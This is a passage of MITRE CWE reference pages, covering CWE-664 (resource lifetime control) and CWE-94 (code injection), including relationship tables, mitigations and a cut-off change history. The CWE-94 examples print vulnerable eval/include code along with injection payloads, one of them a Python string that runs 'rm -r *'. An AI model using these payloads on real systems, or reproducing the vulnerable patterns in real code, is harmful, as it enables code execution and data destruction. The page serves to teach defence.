2008-11-24CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2009-05-27CWE Content TeamMITRE
updated Demonstrative_Examples, Name
2009-10-29CWE Content TeamMITRE
updated Common_Consequences, Description, Other_Notes
2010-12-13CWE Content TeamMITRE
updated Name
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-09-13CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITRE
updated Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings, White_Box_Definitions
2020-02-24CWE Content TeamMITRE
updated References, Relationships
2021-10-28CWE Content TeamMITRE
updated Demonstrative_Examples
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
2024-02-29
(CWE 4.14, 2024-02-29)
CWE Content TeamMITRE
updated Observed_Examples
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Heap Inspection
2008-09-09Failure to Clear Heap Memory Before Release
2009-05-27Failure to Clear Heap Memory Before Release (aka 'Heap Inspection')
2010-12-13Failure to Clear Heap Memory Before Release ('Heap Inspection')

CWE-664: Improper Control of a Resource Through its Lifetime

Weakness ID: 664
Vulnerability Mapping: DISCOURAGEDThis CWE ID should not be used to map to real-world vulnerabilities
Abstraction: PillarPillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product does not maintain or incorrectly maintains control over a resource throughout its lifetime of creation, use, and release.
+ Extended Description

Resources often have explicit instructions on how to be created, used and destroyed. When code does not follow these instructions, it can lead to unexpected behaviors and potentially exploitable states.

Even without explicit instructions, various principles are expected to be adhered to, such as "Do not use an object until after its creation is complete," or "do not use an object after it has been slated for destruction."

+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1000Research Concepts
ParentOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.118Incorrect Access of Indexable Resource ('Range Error')
ParentOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.221Information Loss or Omission
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.372Incomplete Internal State Distinction
ParentOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.400Uncontrolled Resource Consumption
ParentOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.404Improper Resource Shutdown or Release
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.410Insufficient Resource Pool
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.471Modification of Assumed-Immutable Data (MAID)
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.487Reliance on Package-level Scope
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.495Private Data Structure Returned From A Public Method
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.496Public Data Assigned to Private Array-Typed Field
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.501Trust Boundary Violation
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.580clone() Method Without super.clone()
ParentOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.610Externally Controlled Reference to a Resource in Another Sphere
ParentOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.662Improper Synchronization
ParentOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.665Improper Initialization
ParentOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.666Operation on Resource in Wrong Phase of Lifetime
ParentOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.668Exposure of Resource to Wrong Sphere
ParentOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.669Incorrect Resource Transfer Between Spheres
ParentOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.673External Influence of Sphere Definition
ParentOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.704Incorrect Type Conversion or Cast
ParentOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.706Use of Incorrectly-Resolved Name or Reference
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.911Improper Update of Reference Count
ParentOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.913Improper Control of Dynamically-Managed Code Resources
ParentOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.922Insecure Storage of Sensitive Information
ParentOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.1229Creation of Emergent Resource
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1250Improper Preservation of Consistency Between Independent Representations of Shared State
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1329Reliance on Component That is Not Updateable
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

Technologies

Class: Not Technology-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Other

Technical Impact: Other

+ Observed Examples
ReferenceDescription
Cryptography API uses unsafe reflection when deserializing a private key
Chain: Python library does not limit the resources used to process images that specify a very large number of bands (CWE-1284), leading to excessive memory consumption (CWE-789) or an integer overflow (CWE-190).
+ Potential Mitigations

Phase: Testing

Use Static analysis tools to check for unreleased resources.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.984SFP Secondary Cluster: Life Cycle
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1163SEI CERT C Coding Standard - Guidelines 09. Input Output (FIO)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1370ICS Supply Chain: Common Mode Frailties
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1416Comprehensive Categorization: Resource Lifecycle Management
+ Vulnerability Mapping Notes

Usage: DISCOURAGED

(this CWE ID should not be used to map to real-world vulnerabilities)

Reason: Abstraction

Rationale:

This CWE entry is high-level when lower-level children are available.

Comments:

Consider children or descendants of this entry instead.
+ Notes

Maintenance

More work is needed on this entry and its children. There are perspective/layering issues; for example, one breakdown is based on lifecycle phase (CWE-404, CWE-665), while other children are independent of lifecycle, such as CWE-400. Others do not specify as many bases or variants, such as CWE-704, which primarily covers numbers at this stage.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
CERT C Secure CodingFIO39-CCWE More AbstractDo not alternately input and output from a stream without an intervening flush or positioning call
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2008-04-11
(CWE Draft 9, 2008-04-11)
CWE Content TeamMITRE
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Description, Maintenance_Notes, Relationships, Type
2009-03-10CWE Content TeamMITRE
updated Related_Attack_Patterns
2009-05-27CWE Content TeamMITRE
updated Description, Name, Relationships
2009-07-27CWE Content TeamMITRE
updated Relationships
2010-02-16CWE Content TeamMITRE
updated Relationships
2010-12-13CWE Content TeamMITRE
updated Description, Relationships
2011-03-29CWE Content TeamMITRE
updated Relationships
2011-06-01CWE Content TeamMITRE
updated Common_Consequences, Relationships
2012-05-11CWE Content TeamMITRE
updated Related_Attack_Patterns, Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2013-02-21CWE Content TeamMITRE
updated Relationships
2013-07-17CWE Content TeamMITRE
updated Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships
2015-12-07CWE Content TeamMITRE
updated Relationships
2017-01-19CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2018-03-27CWE Content TeamMITRE
updated Relationships
2019-01-03CWE Content TeamMITRE
updated Relationships
2019-06-20CWE Content TeamMITRE
updated Relationships
2020-02-24CWE Content TeamMITRE
updated Applicable_Platforms, Relationships, Type
2020-06-25CWE Content TeamMITRE
updated Relationships
2020-08-20CWE Content TeamMITRE
updated Relationships
2020-12-10CWE Content TeamMITRE
updated Relationships
2021-03-15CWE Content TeamMITRE
updated Maintenance_Notes, Relationships
2022-10-13CWE Content TeamMITRE
updated Relationships
2023-01-31CWE Content TeamMITRE
updated Description, Relationships
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes, Relationships
2023-10-26CWE Content TeamMITRE
updated Observed_Examples
+ Previous Entry Names
Change DatePrevious Entry Name
2009-05-27Insufficient Control of a Resource Through its Lifetime

CWE-94: Improper Control of Generation of Code ('Code Injection')

Weakness ID: 94
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.
+ Extended Description

When a product allows a user's input to contain code syntax, it might be possible for an attacker to craft the code in such a way that it will alter the intended control flow of the product. Such an alteration could lead to arbitrary code execution.

Injection problems encompass a wide variety of issues -- all mitigated in very different ways. For this reason, the most effective way to discuss these weaknesses is to note the distinct features which classify them as injection weaknesses. The most important issue to note is that all injection problems share one thing in common -- i.e., they allow for the injection of control plane data into the user-controlled data plane. This means that the execution of the process may be altered by sending code in through legitimate data channels, using no other mechanism. While buffer overflows, and many other flaws, involve the use of some further issue to gain execution, injection problems need only for the data to be parsed. The most classic instantiations of this category of weakness are SQL injection and format string vulnerabilities.

+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.913Improper Control of Dynamically-Managed Code Resources
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.74Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.95Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.96Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection')
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1336Improper Neutralization of Special Elements Used in a Template Engine
CanFollowVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.98Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.137Data Neutralization Issues
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.74Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1019Validate Inputs
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
ImplementationREALIZATION: This weakness is caused during implementation of an architectural security tactic.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Interpreted (Sometimes Prevalent)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Access Control

Technical Impact: Bypass Protection Mechanism

In some cases, injectable code controls authentication; this may lead to a remote vulnerability.
Access Control

Technical Impact: Gain Privileges or Assume Identity

Injected code can access resources that the attacker is directly prevented from accessing.
Integrity
Confidentiality
Availability

Technical Impact: Execute Unauthorized Code or Commands

Code injection attacks can lead to loss of data integrity in nearly all cases as the control-plane data injected is always incidental to data recall or writing. Additionally, code injection can often result in the execution of arbitrary code.
Non-Repudiation

Technical Impact: Hide Activities

Often the actions performed by injected control code are unlogged.
+ Likelihood Of Exploit
Medium
+ Demonstrative Examples

Example 1

This example attempts to write user messages to a message file and allow users to view them.

(bad code)
Example Language: PHP 
$MessageFile = "messages.out";
if ($_GET["action"] == "NewMessage") {
$name = $_GET["name"];
$message = $_GET["message"];
$handle = fopen($MessageFile, "a+");
fwrite($handle, "<b>$name</b> says '$message'<hr>\n");
fclose($handle);
echo "Message Saved!<p>\n";
}
else if ($_GET["action"] == "ViewMessages") {
include($MessageFile);
}

While the programmer intends for the MessageFile to only include data, an attacker can provide a message such as:

(attack code)
 
name=h4x0r
message=%3C?php%20system(%22/bin/ls%20-l%22);?%3E

which will decode to the following:

(attack code)
 
<?php system("/bin/ls -l");?>

The programmer thought they were just including the contents of a regular data file, but PHP parsed it and executed the code. Now, this code is executed any time people view messages.

Notice that XSS (CWE-79) is also possible in this situation.

Example 2

edit-config.pl: This CGI script is used to modify settings in a configuration file.

(bad code)
Example Language: Perl 
use CGI qw(:standard);

sub config_file_add_key {
my ($fname, $key, $arg) = @_;

# code to add a field/key to a file goes here
}

sub config_file_set_key {
my ($fname, $key, $arg) = @_;

# code to set key to a particular file goes here
}

sub config_file_delete_key {
my ($fname, $key, $arg) = @_;

# code to delete key from a particular file goes here
}

sub handleConfigAction {
my ($fname, $action) = @_;
my $key = param('key');
my $val = param('val');

# this is super-efficient code, especially if you have to invoke


# any one of dozens of different functions!

my $code = "config_file_$action_key(\$fname, \$key, \$val);";
eval($code);
}

$configfile = "/home/cwe/config.txt";
print header;
if (defined(param('action'))) {
handleConfigAction($configfile, param('action'));
}
else {
print "No action specified!\n";
}

The script intends to take the 'action' parameter and invoke one of a variety of functions based on the value of that parameter - config_file_add_key(), config_file_set_key(), or config_file_delete_key(). It could set up a conditional to invoke each function separately, but eval() is a powerful way of doing the same thing in fewer lines of code, especially when a large number of functions or variables are involved. Unfortunately, in this case, the attacker can provide other values in the action parameter, such as:

(attack code)
 
add_key(",","); system("/bin/ls");

This would produce the following string in handleConfigAction():

(result)
 
config_file_add_key(",","); system("/bin/ls");

Any arbitrary Perl code could be added after the attacker has "closed off" the construction of the original function call, in order to prevent parsing errors from causing the malicious eval() to fail before the attacker's payload is activated. This particular manipulation would fail after the system() call, because the "_key(\$fname, \$key, \$val)" portion of the string would cause an error, but this is irrelevant to the attack because the payload has already been activated.

Example 3

This simple script asks a user to supply a list of numbers as input and adds them together.

(bad code)
Example Language: Python 
def main():
sum = 0
numbers = eval(input("Enter a space-separated list of numbers: "))
for num in numbers:
sum = sum + num
print(f"Sum of {numbers} = {sum}")
main()

The eval() function can take the user-supplied list and convert it into a Python list object, therefore allowing the programmer to use list comprehension methods to work with the data. However, if code is supplied to the eval() function, it will execute that code. For example, a malicious user could supply the following string:

(attack code)
 
__import__('subprocess').getoutput('rm -r *')

This would delete all the files in the current directory. For this reason, it is not recommended to use eval() with untrusted input.

A way to accomplish this without the use of eval() is to apply an integer conversion on the input within a try/except block. If the user-supplied input is not numeric, this will raise a ValueError. By avoiding eval(), there is no opportunity for the input string to be executed as code.

(good code)
Example Language: Python 
def main():
sum = 0
numbers = input("Enter a space-separated list of numbers: ").split(" ")
try:
for num in numbers:
sum = sum + int(num)
print(f"Sum of {numbers} = {sum}")
except ValueError:
print("Error: invalid input")
main()

An alternative, commonly-cited mitigation for this kind of weakness is to use the ast.literal_eval() function, since it is intentionally designed to avoid executing code. However, an adversary could still cause excessive memory or stack consumption via deeply nested structures [REF-1372], so the python documentation discourages use of ast.literal_eval() on untrusted data [REF-1373].

+ Observed Examples
ReferenceDescription
Python compiler uses eval() to execute malicious strings as Python code.
Chain: regex in EXIF processor code does not correctly determine where a string ends (CWE-625), enabling eval injection (CWE-95), as exploited in the wild per CISA KEV.
"Code injection" in VPN product, as exploited in the wild per CISA KEV.
Eval injection in PHP program.
Eval injection in Perl program.
Eval injection in Perl program using an ID that should only contain hyphens and numbers.
Direct code injection into Perl eval function.
Eval injection in Perl program.
Direct code injection into Perl eval function.
Direct code injection into Perl eval function.
MFV. code injection into PHP eval statement using nested constructs that should not be nested.
MFV. code injection into PHP eval statement using nested constructs that should not be nested.
Code injection into Python eval statement from a field in a formatted file.
Eval injection in Python program.
chain: Resultant eval injection. An invalid value prevents initialization of variables, which can be modified by attacker and later injected into PHP eval statement.
Perl code directly injected into CGI library file from parameters to another CGI program.
Direct PHP code injection into supporting template file.
Direct code injection into PHP script that can be accessed by attacker.
PHP code from User-Agent HTTP header directly inserted into log file implemented as PHP script.
+ Potential Mitigations

Phase: Architecture and Design

Refactor your program so that you do not have to dynamically generate code.

Phase: Architecture and Design

Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which code can be executed by your product.

Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection.

This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise.

Be careful to avoid CWE-243 and other weaknesses related to jails.

Phase: Implementation

Strategy: Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

To reduce the likelihood of code injection, use stringent allowlists that limit which constructs are allowed. If you are dynamically constructing code that invokes a function, then verifying that the input is alphanumeric might be insufficient. An attacker might still be able to reference a dangerous function that you did not intend to allow, such as system(), exec(), or exit().

Phase: Testing

Use automated static analysis tools that target this type of weakness. Many modern techniques use data flow analysis to minimize the number of false positives. This is not a perfect solution, since 100% accuracy and coverage are not feasible.

Phase: Testing

Use dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Phase: Operation

Strategy: Compilation or Build Hardening

Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).

Phase: Operation

Strategy: Environment Hardening

Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).

Phase: Implementation

For Python programs, it is frequently encouraged to use the ast.literal_eval() function instead of eval, since it is intentionally designed to avoid executing code. However, an adversary could still cause excessive memory or stack consumption via deeply nested structures [REF-1372], so the python documentation discourages use of ast.literal_eval() on untrusted data [REF-1373].

Effectiveness: Discouraged Common Practice

+ Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).635Weaknesses Originally Used by NVD from 2008 to 2016
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.7522009 Top 25 - Risky Resource Management
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).884CWE Cross-section
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.991SFP Secondary Cluster: Tainted Input to Environment
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1200Weaknesses in the 2019 CWE Top 25 Most Dangerous Software Errors
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1347OWASP Top Ten 2021 Category A03:2021 - Injection
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1350Weaknesses in the 2020 CWE Top 25 Most Dangerous Software Weaknesses
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1387Weaknesses in the 2022 CWE Top 25 Most Dangerous Software Weaknesses
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1409Comprehensive Categorization: Injection
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1425Weaknesses in the 2023 CWE Top 25 Most Dangerous Software Weaknesses
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

